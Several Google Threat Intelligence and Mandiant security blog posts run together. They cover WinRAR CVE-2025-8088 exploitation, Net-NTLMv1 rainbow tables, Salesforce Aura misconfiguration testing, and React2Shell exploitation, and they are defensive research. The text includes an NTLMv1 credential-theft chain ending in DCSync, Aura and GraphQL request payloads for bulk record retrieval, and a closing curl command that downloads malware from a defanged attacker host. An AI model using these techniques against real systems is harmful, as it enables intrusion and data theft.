Introduction 

The Google Threat Intelligence Group (GTIG) has identified widespread, active exploitation of the critical vulnerability CVE-2025-8088 in WinRAR, a popular file archiver tool for Windows, to establish initial access and deliver diverse payloads. Discovered and patched in July 2025, government-backed threat actors linked to Russia and China as well as financially motivated threat actors continue to exploit this n-day across disparate operations. The consistent exploitation method, a path traversal flaw allowing files to be dropped into the Windows Startup folder for persistence, underscores a defensive gap in fundamental application security and user awareness.

In this blog post, we provide details on CVE-2025-8088 and the typical exploit chain, highlight exploitation by financially motivated and state-sponsored espionage actors, and provide IOCs to help defenders detect and hunt for the activity described in this post.

To protect against this threat, we urge organizations and users to keep software fully up-to-date and to install security updates as soon as they become available. After a vulnerability has been patched, malicious actors will continue to rely on n-days and use slow patching rates to their advantage. We also recommend the use of Google Safe Browsing and Gmail, which actively identifies and blocks files containing the exploit.

Vulnerability and Exploit Mechanism

CVE-2025-8088 is a high-severity path traversal vulnerability in WinRAR that attackers exploit by leveraging Alternate Data Streams (ADS). Adversaries can craft malicious RAR archives which, when opened by a vulnerable version of WinRAR, can write files to arbitrary locations on the system. Exploitation of this vulnerability in the wild began as early as July 18, 2025, and the vulnerability was addressed by RARLAB with the release of WinRAR version 7.13 shortly after, on July 30, 2025.

The exploit chain often involves concealing the malicious file within the ADS of a decoy file inside the archive. While the user typically views a decoy document (such as a PDF) within the archive, there are also malicious ADS entries, some containing a hidden payload while others are dummy data.

The payload is written with a specially crafted path designed to traverse to a critical directory, frequently targeting the Windows Startup folder for persistence. The key to the path traversal is the use of the ADS feature combined with directory traversal characters. 

For example, a file within the RAR archive might have a composite name like innocuous.pdf:malicious.lnk combined with a malicious path: ../../../../../Users/<user>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/malicious.lnk. 

When the archive is opened, the ADS content (malicious.lnk) is extracted to the destination specified by the traversal path, automatically executing the payload the next time the user logs in.

State-Sponsored Espionage Activity

Multiple government-backed actors have adopted the CVE-2025-8088 exploit, predominantly focusing on military, government, and technology targets. This is similar to the widespread exploitation of a known WinRAR bug in 2023, CVE-2023-38831, highlighting that exploits for known vulnerabilities can be highly effective, despite a patch being available.

Russia-Nexus Actors Targeting Ukraine

Suspected Russia-nexus threat groups are consistently exploiting CVE-2025-8088 in campaigns targeting Ukrainian military and government entities, using highly tailored geopolitical lures.

• UNC4895 (CIGAR): UNC4895 (also publicly reported as RomCom) is a dual financial and espionage-motivated threat group whose campaigns often involve spearphishing emails with lures tailored to the recipient. We observed subjects indicating targeting of Ukrainian military units. The final payload belongs to the NESTPACKER malware family (externally known as Snipbot).

• APT44 (FROZENBARENTS): This Russian APT group exploits CVE-2025-8088 to drop a decoy file with a Ukrainian filename, as well as a malicious LNK file that attempts further downloads.

• TEMP.Armageddon (CARPATHIAN): This actor, also targeting Ukrainian government entities, uses RAR archives to drop HTA files into the Startup folder. The HTA file acts as a downloader for a second stage. The initial downloader is typically contained within an archive packed inside an HTML file. This activity has continued through January 2026.

• Turla (SUMMIT): This actor adopted CVE-2025-8088 to deliver the STOCKSTAY malware suite. Observed lures are themed around Ukrainian military activities and drone operations.

China-Nexus Actors

• A PRC-based actor is exploiting the vulnerability to deliver POISONIVY malware via a BAT file dropped into the Startup folder, which then downloads a dropper.

Financially Motivated Activity

Financially motivated threat actors also quickly adopted the vulnerability to deploy commodity RATs and information stealers against commercial targets.

• A group that has targeted entities in Indonesia using lure documents used this vulnerability to drop a .cmd file into the Startup folder. This script then downloads a password-protected RAR archive from Dropbox, which contains a backdoor that communicates with a Telegram bot command and control.

• A group known for targeting the hospitality and travel sectors, particularly in LATAM, is using phishing emails themed around hotel bookings to eventually deliver commodity RATs such as XWorm and AsyncRAT.

• A group targeting Brazilian users via banking websites delivered a malicious Chrome extension that injects JavaScript into the pages of two Brazilian banking sites to display phishing content and steal credentials.

• In December and January 2026, we have continued to observe malware being distributed by cyber crime exploiting CVE-2025-8088, including commodity RATS and stealers. 

The Underground Exploit Ecosystem: Suppliers Like "zeroplayer"

The widespread use of CVE-2025-8088 by diverse actors highlights the demand for effective exploits. This demand is met by the underground economy where individuals and groups specialize in developing and selling exploits to a range of customers. A notable example of such an upstream supplier is the actor known as "zeroplayer," who advertised a WinRAR exploit in July 2025. 

The WinRAR vulnerability is not the only exploit in zeroplayer’s arsenal. Historically, and in recent months, zeroplayer has continued to offer other high-priced exploits that could potentially allow threat actors to bypass security measures. The actor’s advertised portfolio includes the following among others:

• In November 2025, zeroplayer claimed to have a sandbox escape RCE zero-day exploit for Microsoft Office advertising it for $300,000. 

• In late September 2025, zeroplayer advertised a RCE zero-day exploit for a popular, unnamed corporate VPN provider; the price for the exploit was not specified.

• Starting in mid-October 2025, zeroplayer advertised a zero-day Local Privilege Escalation (LPE) exploit for Windows listing its price as $100,000.

• In early September 2025, zeroplayer advertised a zero-day exploit for a vulnerability that exists in an unspecified drive that would allow an attacker to disable antivirus (AV) and endpoint detection and response (EDR) software; this exploit was advertised for $80,000.

zeroplayer’s continued activity as an upstream supplier of exploits highlights the continued commoditization of the attack lifecycle. By providing ready-to-use capabilities, actors such as zeroplayer reduce the technical complexity and resource demands for threat actors, allowing groups with diverse motivations—from ransomware deployment to state-sponsored intelligence gathering—to leverage a diverse set of capabilities.

Conclusion

The widespread and opportunistic exploitation of CVE-2025-8088 by a wide range of threat actors underscores its proven reliability as a commodity initial access vector. It also serves as a stark reminder of the enduring danger posed by n-day vulnerabilities. When a reliable proof of concept for a critical flaw enters the cyber criminal and espionage marketplace, adoption is instantaneous, blurring the line between sophisticated government-backed operations and financially motivated campaigns. This vulnerability’s rapid commoditization reinforces that a successful defense against these threats requires immediate application patching, coupled with a fundamental shift toward detecting the consistent, predictable post-exploitation TTPs.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

File Indicators

Written by: Nic Losby

Introduction

Mandiant is publicly releasing a comprehensive dataset of Net-NTLMv1 rainbow tables to underscore the urgency of migrating away from this outdated protocol. Despite Net-NTLMv1 being deprecated and known to be insecure for over two decades—with cryptanalysis dating back to 1999—Mandiant consultants continue to identify its use in active environments. This legacy protocol leaves organizations vulnerable to trivial credential theft, yet it remains prevalent due to inertia and a lack of demonstrated immediate risk.

By releasing these tables, Mandiant aims to lower the barrier for security professionals to demonstrate the insecurity of Net-NTLMv1. While tools to exploit this protocol have existed for years, they often required uploading sensitive data to third-party services or expensive hardware to brute-force keys. The release of this dataset allows defenders and researchers to recover keys in under 12 hours using consumer hardware costing less than $600 USD. This initiative highlights the amplified impact of combining Mandiant's frontline expertise with Google Cloud's resources to eliminate entire classes of attacks.

This post details the generation of the tables, provides access to the dataset for community use, and outlines critical remediation steps to disable Net-NTLMv1 and prevent authentication coercion attacks.

Background

Net-NTLMv1 has been widely known to be insecure since at least 2012, following presentations at DEFCON 20, with cryptanalysis of the underlying protocol dating back to at least 1999. On Aug. 30, 2016, Hashcat added support for cracking Data Encryption Standard (DES) keys using known plaintext, further democratizing the ability to attack this protocol. Rainbow tables are almost as old, with the initial paper on rainbow tables published in 2003 by Philippe Oechslin, citing an earlier iteration of a time-memory trade-off from 1980 by Martin Hellman.

Essentially, if an attacker can obtain a Net-NTLMv1 hash without Extended Session Security (ESS) for the known plaintext of 1122334455667788, a cryptographic attack, referred to as a known plaintext attack (KPA), can be applied. This guarantees recovery of the key material used. Since the key material is the password hash of the authenticating Active Directory (AD) object—user or computer—the attack results can quickly be used to compromise the object, often leading to privilege escalation.

A common chain attackers use is authentication coercion from a highly privileged object, such as a domain controller (DC). Recovering the password hash of the DC machine account allows for DCSync privileges to compromise any other account in AD.

Dataset Release

The unsorted dataset can be downloaded using gsutil -m cp -r gs://net-ntlmv1-tables/tables . or through the Google Cloud Research Dataset portal. 

The SHA512 hashes of the tables can be checked by first downloading the checksums gsutil -m cp gs://net-ntlmv1-tables/tables.sha512 . then checked by sha512sum -c tables.sha512. The password cracking community has already created derivative work and is also hosting the ready to use tables.

Use of the Tables

Once a Net-NTLMv1 hash has been obtained, the tables can be used with historical or modern reinventions of rainbow table searching software such as rainbowcrack (rcrack), or RainbowCrack-NG on central processing units (CPUs) or a fork of rainbowcrackalack on graphics processing units (GPUs). The Net-NTLMv1 hash needs to be preprocessed to the DES components using ntlmv1-multi as shown in the next section.

Obtaining a Net-NTLMv1 Hash

Most attackers will use Responder with the --lm and --disable-ess flags and set the authentication to a static value of 1122334455667788 to only allow for connections with Net-NTLMv1 as a possibility. Attackers can then wait for incoming connections or coerce authentication using a tool such as PetitPotam or DFSCoerce to generate incoming connections from DCs or lower privilege hosts that are useful for objective completion. Responses can be cracked to retrieve password hashes of either users or computer machine accounts. A sample workflow for an attacker is shown below in Figure 1, Figure 2, and Figure 3.

Figure 4 illustrates the processing of the Net-NTLMv1 hash to the DES ciphertexts.

An attacker then takes the split-out ciphertexts to crack the keys used based on the known plaintext of 1122334455667788 with the steps of loading the tables shown in Figure 5 and cracking results in Figure 6 and Figure 7.

An attacker can then calculate the last remaining key with ntlmv1-multi once again, or look it up with twobytes, to recreate the full NT hash for the DC account with the last key part shown in Figure 8.

The result can be checked with hashcat's NT hash shucking mode, -m 27000, as shown in Figure 9.

An attacker can then use the hash to perform a DCSync attack targeting a DC and authenticating as the now compromised machine account. The attack flow uses secretsdump.py from the Impacket toolsuite and is shown in Figure 10.

Remediation

Organizations should immediately disable the use of Net-NTLMv1. 

Local Computer Policy

"Local Security Settings" > "Local Policies" > "Security Options" > “Network security: LAN Manager authentication level" > "Send NTLMv2 response only".

Group Policy

"Computer Configuration" > "Policies" > "Windows Settings" > "Security Settings" > "Local Policies" > "Security Options" > "Network Security: LAN Manager authentication level" > "Send NTLMv2 response only"

As these are local to the computer configurations, attackers can and have set the configuration to a vulnerable state to then fix the configuration after their attacks have completed with local administrative access. Monitoring and alerting of when and where Net-NTLMv1 is used is needed in addition to catching these edge cases.

Filter Event Logs for Event ID 4624: "An Account was successfully logged on." > "Detailed Authentication Information" > "Authentication Package" > "Package Name (NTLM only)", if "LM" or "NTLMv1" is the value of this attribute, LAN Manager or Net-NTLMv1 was used.

Related Reading

This project was inspired by and referenced the following research published to blogs, social media, and code repositories.

• https://www.youtube.com/watch?v=gkPvZDcrLFk

• https://crack.sh/netntlm/

• https://hashcat.net/forum/thread-9009.html

• https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-capture/#capturing-and-cracking-net-ntlmv1ntlmv1-hashestokens

• https://en.hackndo.com/ntlm-relay/#stop-using-ntlmv1

• https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/

• https://trustedsec.com/blog/practical-attacks-against-ntlmv1

• https://github.com/NotMedic/NetNTLMtoSilverTicket

• https://x.com/jeffmcjunkin/status/1575515827880665088

• https://shuck.sh/get-shucking.php

Acknowledgements

Thank you to everyone who helped make this blog post possible, including but not limited to Chris King and Max Gruenberg.

Written by: Amine Ismail, Anirudha Kanodia

Introduction 

Mandiant is releasing AuraInspector, a new open-source tool designed to help defenders identify and audit access control misconfigurations within the Salesforce Aura framework.

Salesforce Experience Cloud is a foundational platform for many businesses, but Mandiant Offensive Security Services (OSS) frequently identifies misconfigurations that allow unauthorized users to access sensitive data including credit card numbers, identity documents, and health information. These access control gaps often go unnoticed until it is too late.

This post details the mechanics of these common misconfigurations and introduces a previously undocumented technique using GraphQL to bypass standard record retrieval limits. To help administrators secure their environments, we are releasing AuraInspector, a command-line tool that automates the detection of these exposures and provides actionable insights for remediation.

aside_block

<ListValue: [StructValue([('title', 'AuraInspector'), ('body', <wagtail.rich_text.RichText object at 0x7fd4e228ad60>), ('btn_text', 'Get AuraInspector'), ('href', 'https://github.com/google/aura-inspector'), ('image', None)])]>

What Is Aura?

Aura is a framework used in Salesforce applications to create reusable, modular components. It is the foundational technology behind Salesforce's modern UI, known as Lightning Experience. Aura introduced a more modern, single-page application (SPA) model that is more responsive and provides a better user experience.

As with any object-relational database and developer framework, a key security challenge for Aura is ensuring that users can only access data they are authorized to see. More specifically, the Aura endpoint is used by the front-end to retrieve a variety of information from the backend system, including Object records stored in the database. The endpoint can usually be identified by navigating through an Experience Cloud application and examining the network requests.

To date, a real challenge for Salesforce administrators is that Salesforce objects sharing rules can be configured at multiple levels, complexifying the identification of potential misconfigurations. Consequently, the Aura endpoint is one of the most commonly targeted endpoints in Salesforce Experience Cloud applications.

The most interesting aspect of the Aura endpoint is its ability to invoke aura-enabled methods, depending on the privileges of the authenticated context. The message parameter of this endpoint can be used to invoke the said methods. Of particular interest is the getConfigData method, which returns a list of objects used in the backend Salesforce database. The following is the syntax used to call this specific method.

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}

An example of response is displayed in Figure 1.

Ways to Retrieve Data Using Aura

Data Retrieval Using Aura

Certain components in a Salesforce Experience Cloud application will implicitly call certain Aura methods to retrieve records to populate the user interface. This is the case for the serviceComponent://ui.force.components.controllers.
lists.selectableListDataProvider.SelectableListDataProviderController/
ACTION$getItems Aura method. Note that these Aura methods are legitimate and do not pose a security risk by themselves; the risk arises when underlying permissions are misconfigured.

In a controlled test instance, Mandiant intentionally misconfigured access controls to grant guest (unauthenticated) users access to all records of the Account object. This is a common misconfiguration encountered during real-world engagements. An application would normally retrieve object records using the Aura or Lightning frameworks. One method is using getItems. Using this method with specific parameters, the application can retrieve records for a specific object the user has access to. An example of request and response using this method are shown in Figure 2.

However, there is a constraint to this typical approach. Salesforce only allows users to retrieve at most 2,000 records at a given time. Some objects may have several thousand records, limiting the number of records that could be retrieved using this approach. To demonstrate the full impact of a misconfiguration, it is often necessary to overcome this limit.

Testing revealed a sortBy parameter available on this method. This parameter is valuable because changing the sort order allows for the retrieval of additional records that were initially inaccessible due to the 2,000 record limit. Moreover, it is possible to obtain an ascending or descending sort order for any parameter by adding a - character in front of the field name. The following is an example of an Aura message that leverages the sortBy parameter.

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"FUZZ","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false,"sortBy":"<ArbitraryField>"}}]}

The response where the Name field is sorted in descending order is displayed in Figure 3.

For built-in Salesforce objects, there are several fields that are available by default. For custom objects, in addition to custom fields, there are a few default fields such as CreatedBy and LastModifiedBy, which can be filtered on. Filtering on various fields facilitates the retrieval of a significantly larger number of records. Retrieving more records helps security researchers demonstrate the potential impact to Salesforce administrators.

Action Bulking

To optimize performance and minimize network traffic, the Salesforce Aura framework employs a mechanism known as "boxcar'ing". Instead of sending a separate HTTP request for every individual server-side action a user initiates, the framework queues these actions on the client-side. At the end of the event loop, it bundles multiple queued Aura actions into a single list, which is then sent to the server as part of a single POST request.

Without using this technique, retrieving records can require a significant number of requests, depending on the number of records and objects. In that regard, Salesforce allows up to 250 actions at a time in one request by using this technique. However, sending too many actions can quickly result in a Content-Length response that can prevent a successful request. As such, Mandiant recommends limiting requests to 100 actions per request. In the following example, two actions are bulked to retrieve records for both the UserFavorite objects and the ProcessInstanceNode object:

{"actions":[{"id":"UserFavorite","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"UserFavorite","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}},{"id":"ProcessInstanceNode","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ProcessInstanceNode","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}

This can be cumbersome to perform manually for many actions. This feature has been integrated into the AuraInspector tool to expedite the process of identifying misconfigured objects.

Record Lists

A lesser-known component is Salesforce's Record Lists. This component, as the name suggests, provides a list of records in the user interface associated with an object to which the user has access. While the access controls on objects still govern the records that can be viewed in the Record List, misconfigured access controls could allow users access to the Record List of an object.

Using the ui.force.components.controllers.lists.
listViewPickerDataProvider.ListViewPickerDataProviderController/
ACTION$getInitialListViews Aura method, it is possible to check if an object has an associating record list component attached to it. The Aura message would appear as follows:

{"actions":[{"id":"1086;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews","callingDescriptor":"UNKNOWN","params":{"scope":"FUZZ","maxMruResults":10,"maxAllResults":20},"storable":true}]}

If the response contains an array of list views, as shown in Figure 4, then a Record List is likely present.

This response means there is an associating Record List component to this object and it may be accessible. Simply navigating to /s/recordlist/<object>/Default will show the list of records, if access is permitted. An example of a Record List can be seen in Figure 5. The interface may also provide the ability to create or modify existing records.

Home URLs

Home URLs are URLs that can be browsed to directly. On multiple occasions, following these URLs led Mandiant researchers to administration or configuration panels for third-party modules installed on the Salesforce instance. They can be retrieved by authenticated users with the ui.communities.components.aura.components.communitySetup.cmc.
CMCAppController/ACTION$getAppBootstrapData Aura method as follows:

{"actions":[{"id":"1086;a","descriptor":"serviceComponent://ui.communities.components.aura.components.communitySetup.cmc.CMCAppController/ACTION$getAppBootstrapData","callingDescriptor":"UNKNOWN","params":{}}]}

In the returned JSON response, an object named apiNameToObjectHomeUrls contains the list of URLs. The next step is to browse to each URL, verify access, and assess whether the content should be accessible. It is a straightforward process that can lead to interesting findings. An example of usage is shown in Figure 6.

During a previous engagement, Mandiant identified a Spark instance administration dashboard accessible to any unauthenticated user via this method. The dashboard offered administrative features, as seen in Figure 7.

Using this technique, Salesforce administrators can identify pages that should not be accessible to unauthenticated or low-privilege users. Manually tracking down these pages can be cumbersome as some pages are automatically created when installing marketplace applications.

Self-Registration

Over the last few years, Salesforce has increased the default security on Guest accounts. As such, having an authenticated account is even more valuable as it might give access to records not accessible to unauthenticated users. One solution to prevent authenticated access to the instance is to prevent self-registration. Self-registration can easily be disabled by changing the instance's settings. However, Mandiant observed cases where the link to the self-registration page was removed from the login page, but self-registration itself was not disabled. Salesforce confirmed this issue has been resolved.

Aura methods that expose the self-registration status and URL are highly valuable from an adversary's perspective. The getIsSelfRegistrationEnabled and getSelfRegistrationUrl methods of the LoginFormController controller can be used as follows to retrieve this information:

{"actions":[{"id":"1","descriptor":"apex://applauncher.LoginFormController/ACTION$getIsSelfRegistrationEnabled","callingDescriptor":"UHNKNOWN"},{"id":"2","descriptor":"apex://applauncher.LoginFormController/ACTION$getSelfRegistrationUrl","callingDescriptor":"UHNKNOWN"}]}

By bulking the two methods, two responses are returned from the server. In Figure 8, self-registration is available as shown in the first response, and the URL is returned in the second response.

This removes the need to perform brute forcing to identify the self-registration page; one request is sufficient. The AuraInspector tool verifies whether self-registration is enabled and alerts the researcher. The goal is to help Salesforce administrators determine whether self-registration is enabled or not from an external perspective.

GraphQL: Going Beyond the 2,000 Records Limit

Salesforce provides a GraphQL API that can be used to easily retrieve records from objects that are accessible via the User Interface API from the Salesforce instance. The GraphQL API itself is well documented by Salesforce. However, there is no official documentation or research related to the GraphQL Aura controller.

This lack of documentation, however, does not prevent its use. After reviewing the REST API documentation, Mandiant constructed a valid request to retrieve information for the GraphQL Aura controller. Furthermore, this controller was available to unauthenticated users by default. Using GraphQL over the known methods offers multiple advantages:

• Standardized retrieval of records and information about objects

• Improved pagination, allowing for the retrieval of all records tied to an object

• Built-in introspection, which facilitates the retrieval of field names

• Support for mutations, which expedites the testing of write privileges on objects

From a data retrieval perspective, the key advantage is the ability to retrieve all records tied to an object without being limited to 2,000 records. Salesforce confirmed this is not a vulnerability; GraphQL respects the underlying object permissions and does not provide additional access as long as access to objects is properly configured. However, in the case of a misconfiguration, it helps attackers access any amount of records on the misconfigured objects. When using basic Aura controllers to retrieve records, the only way to retrieve more than 2,000 records is by using sorting filters, which does not always provide consistent results. Using the GraphQL controller enables the consistent retrieval of the maximum number of records possible. Other options to retrieve more than 2,000 records are the SOAP and REST APIs, but those are rarely accessible to non-privileged users.

One limitation of the GraphQL Controller is that it can only retrieve records for User Interface API (UIAPI) supported objects. As explained in the associated Salesforce GraphQL API documentation, this encompasses most objects as the "User Interface API supports all custom objects and external objects and many standard objects."

Since there is no documentation on the GraphQL Aura controller itself, the API documentation was used as a reference. The API documentation provides the following example to interact with the GraphQL API endpoint:

curl "https://{MyDomainName}[.my.salesforce.com/services/data/v64.0/graphql](https://.my.salesforce.com/services/data/v64.0/graphql)" \
  -X POST \
  -H "content-type: application/json" \
  -d '{
  "query": "query accounts { uiapi { query { Account { edges { node { Name { value } } } } } } }"
}

This example was then transposed to the GraphQL Aura controller. The following Aura message was found to work:

{"actions":[{"id":"GraphQL","descriptor":"aura://RecordUiController/ACTION$executeGraphQL","callingDescriptor":"markup://forceCommunity:richText","params":{"queryInput":{"operationName":"accounts","query":"query+accounts+{uiapi+{query+{Account+{edges+{node+{+Name+{+value+}}}totalCount,pageInfo{endCursor,hasNextPage,hasPreviousPage}}}}}","variables":{}}},"version":"64.0","storable":true}]}

This provides the same capabilities as the GraphQL API without requiring API access. The endCursor, hasNextPage, and hasPreviousPage fields were added in the response to facilitate pagination. The requests and response can be seen in Figure 10.

The records would be returned with the fields queried and a pageInfo object containing the cursor. Using the cursor, it is possible to retrieve the next records. In the aforementioned example, only one record was retrieved for readability, but this can be done in batches of 2,000 records by setting the first parameter to 2000. The cursor can then be used as shown in Figure 11.

Here, the cursor is a Base64-encoded string indicating the latest record retrieved, so it can easily be built from scratch. With batches of 2,000 records, and to retrieve the items from 2,000 to 4,000, the message would be:

message={"actions":[{"id":"GraphQL","descriptor":"aura://RecordUiController/ACTION$executeGraphQL","callingDescriptor":"markup://forceCommunity:richText","params":{"queryInput":{"operationName":"accounts","query":"query+accounts+{uiapi+{query+{Contact(first:2000,after:\"djE6MTk5OQ==\"){edges+{node+{+Name+{+value+}}}totalCount,pageInfo{endCursor,hasNextPage,hasPreviousPage}}}}}","variables":{}}},"version":"64.0","storable":true}]}

In the example, the cursor, set in the after parameter, is the base64 for v1:1999. It tells Salesforce to retrieve items after 1999. Queries can be much more complex, involving advanced filtering or join operations to search for specific records. Multiple objects can also be retrieved in one query. Though not covered in detail here, the GraphQL controller can also be used to update, create, and delete records by using mutation queries. This allows unauthenticated users to perform complex queries and operations without requiring API access.

Remediation

All of the issues described in this blogpost stem from misconfigurations, specifically on objects and fields. At a high level, Salesforce administrators should take the following steps to remediate these issues:

• Audit Guest User Permissions: Regularly review and apply the principle of least privilege to unauthenticated guest user profiles. Follow Salesforce security best practices for guest users object security. Ensure they only have read access to the specific objects and fields necessary for public-facing functionality.

• Secure Private Data for Authenticated Users: Review sharing rules and organization-wide defaults to ensure that authenticated users can only access records and objects they are explicitly granted permission to.

• Disable Self-Registration: If not required, disable the self-registration feature to prevent unauthorized account creation.

• Follow Salesforce Security Best Practices: Implement the security recommendations provided by Salesforce, including the use of their Security Health Check tool.

Salesforce offers a comprehensive Security Guide that details how to properly configure objects sharing rules, field security, logging, real-time event monitoring and more.

All-in-One Tool: AuraInspector

To aid in the discovery of these misconfigurations, Mandiant is releasing AuraInspector. This tool automates the techniques described in this post to help identify potential shortcomings. Mandiant also developed an internal version of the tool with capabilities to extract records; however, to avoid misuse, the data extraction capability is not implemented in the public release. The options and capabilities of the tool are shown in Figure 12.

The AuraInspector tool also attempts to automatically discover valuable contextual information, including:

• Aura Endpoint: Automatically identifying the Aura endpoint for further testing.

• Home and Record List URLs: Retrieving direct URLs to home pages and record lists, offering insights into the user's navigation paths and accessible data views.

• Self-Registration Status: Determining if self-registration is enabled and providing the self-registration URL when enabled.

All operations performed by the tool are strictly limited to reading data, ensuring that the targeted Salesforce instances are not impacted or modified. AuraInspector is available for download now.

Detecting Salesforce Instances

While Salesforce Experience Cloud applications often make obvious requests to the Aura endpoint, there are situations where an application's integration is more subtle. Mandiant often observes references to Salesforce Experience Cloud applications buried in large JavaScript files. It is recommended to look for references to Salesforce domains such as:

• *.vf.force.com

• *.my.salesforce-sites.com

• *.my.salesforce.com

The following is a simple Burp Suite Bcheck that can help identify those hidden references:

metadata:
    language: v2-beta
    name: "Hidden Salesforce app detected"
    description: "Salesforce app might be used by some functionality of the application"
    tags: "passive"
    author: "Mandiant"

given response then
    if ".my.site.com" in {latest.response} or ".vf.force.com" in {latest.response} or ".my.salesforce-sites.com" in {latest.response} or ".my.salesforce.com" in {latest.response} then
        report issue:
            severity: info
            confidence: certain
            detail: "Backend Salesforce app detected"
            remediation: "Validate whether the app belongs to the org and check for potential misconfigurations"
    end if

Note that this is a basic template that can be further fine-tuned to better identify Salesforce instances using other relevant patterns.

The following is a representative UDM query that can help identify events in Google SecOps associated with POST requests to the Aura endpoint for potential Salesforce instances:

target.url = /\/aura$/ AND 
network.http.response_code = 200 AND 
network.http.method = "POST"

Note that this is a basic UDM query that can be further fine-tuned to better identify Salesforce instances using other relevant patterns.

Mandiant Services

Mandiant Consulting can assist organizations in auditing their Salesforce environments and implementing robust access controls. Our experts can help identify misconfigurations, validate security postures, and ensure compliance with best practices to protect sensitive data.

Acknowledgements

This analysis would not have been possible without the assistance of the Mandiant Offensive Security Services (OSS) team. We also appreciate Salesforce for their collaboration and comprehensive documentation.

Written by: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen

Introduction

On Dec. 3, 2025, a critical unauthenticated remote code execution (RCE) vulnerability in React Server Components, tracked as CVE-2025-55182 (aka "React2Shell"), was publicly disclosed. Shortly after disclosure, Google Threat Intelligence Group (GTIG) had begun observing widespread exploitation across many threat clusters, ranging from opportunistic cyber crime actors to suspected espionage groups.

GTIG has identified distinct campaigns leveraging this vulnerability to deploy a MINOCAT tunneler, SNOWLIGHT downloader, HISONIC backdoor, and COMPOOD backdoor, as well as XMRIG cryptocurrency miners, some of which overlaps with activity previously reported by Huntress. These observed campaigns highlight the risk posed to organizations using unpatched versions of React and Next.js. This post details the observed exploitation chains and post-compromise behaviors and provides intelligence to assist defenders in identifying and remediating this threat.

For information on how Google is protecting customers and mitigation guidance, please refer to our companion blog post, Responding to CVE-2025-55182: Secure your React and Next.js workloads.

CVE-2025-55182 Overview

CVE-2025-55182 is an unauthenticated RCE vulnerability in React Server Components with a CVSS v3.x score of 10.0 and a CVSS v4 score of 9.3. The flaw allows unauthenticated attackers to send a single HTTP request that executes arbitrary code with the privileges of the user running the affected web server process.

GTIG considers CVE-2025-55182 to be a critical-risk vulnerability. Due to the use of React Server Components (RSC) in popular frameworks like Next.js, there are a significant number of exposed systems vulnerable to this issue. Exploitation potential is further increased by two factors: 1) there are a variety of valid payload formats and techniques, and 2) the mere presence of vulnerable packages on systems is often enough to permit exploitation.

The specific RSC packages that are vulnerable to CVE-2025-55182 are versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

• react-server-dom-webpack

• react-server-dom-parcel

• react-server-dom-turbopack

A large number of non-functional exploits, and consequently false information regarding viable payloads and exploitation logic, were widely distributed about this vulnerability during the initial days after disclosure. An example of a repository that started out wholly non-functional is this repository published by the GitHub user "ejpir", which, while initially claiming to be a legitimate functional exploit, has now updated their README to appropriately label their initial research claims as AI-generated and non-functional. While this repository still contains non-functional exploit code, it also now contains legitimate exploit code with Unicode obfuscation. While instances like this initially caused confusion across the industry, the number of legitimate exploits and their capabilities have massively expanded, including in-memory Next.js web shell deployment capabilities. There are also exploit samples, some entirely fake, some non-functional, and some with legitimate functionality, containing malware targeting security researchers. Researchers should validate all exploit code before trusting its capabilities or legitimacy.

Technical write-ups about this vulnerability have been published by reputable security firms, such as the one from Wiz. Researchers should refer to such trusted publications for up-to-date and accurate information when validating vulnerability details, exploit code, or published detections.

Additionally, there was a separate CVE issued for Next.js (CVE-2025-66478); however, this CVE has since been marked as a duplicate of CVE-2025-55182.

Observed Exploitation Activity

Since exploitation of CVE-2025-55182 began, GTIG has observed diverse payloads and post-exploitation behaviors across multiple regions and industries. In this blog post we focus on China-nexus espionage and financially motivated activity, but we have additionally observed Iran-nexus actors exploiting CVE-2025-55182.

China-Nexus Activity

As of Dec. 12, GTIG has identified multiple China-nexus threat clusters utilizing CVE-2025-55182 to compromise victim networks globally. Amazon Web Services (AWS) reporting indicates that China-nexus threat groups Earth Lamia and Jackpot Panda are also exploiting this vulnerability. GTIG tracks Earth Lamia as UNC5454. Currently, there are no public indicators available to assess a group relationship for Jackpot Panda.

MINOCAT

GTIG observed China-nexus espionage cluster UNC6600 exploiting the vulnerability to deliver the MINOCAT tunneler. The threat actor retrieved and executed a bash script used to create a hidden directory ($HOME/.systemd-utils), kill any processes named "ntpclient", download a MINOCAT binary, and establish persistence by creating a new cron job and a systemd service and by inserting malicious commands into the current user's shell config to execute MINOCAT whenever a new shell is started. MINOCAT is an 64-bit ELF executable for Linux that includes a custom "NSS" wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.

SNOWLIGHT

In separate incidents, suspected China-nexus threat actor UNC6586 exploited the vulnerability to execute a command using cURL or wget to retrieve a script that then downloaded and executed a SNOWLIGHT downloader payload (7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a). SNOWLIGHT is a component of VSHELL, a publicly available multi-platform backdoor written in Go, which has been used by threat actors of varying motivations. GTIG observed SNOWLIGHT making HTTP GET requests to C2 infrastructure (e.g., reactcdn.windowserrorapis[.]com) to retrieve additional payloads masquerading as legitimate files.

curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

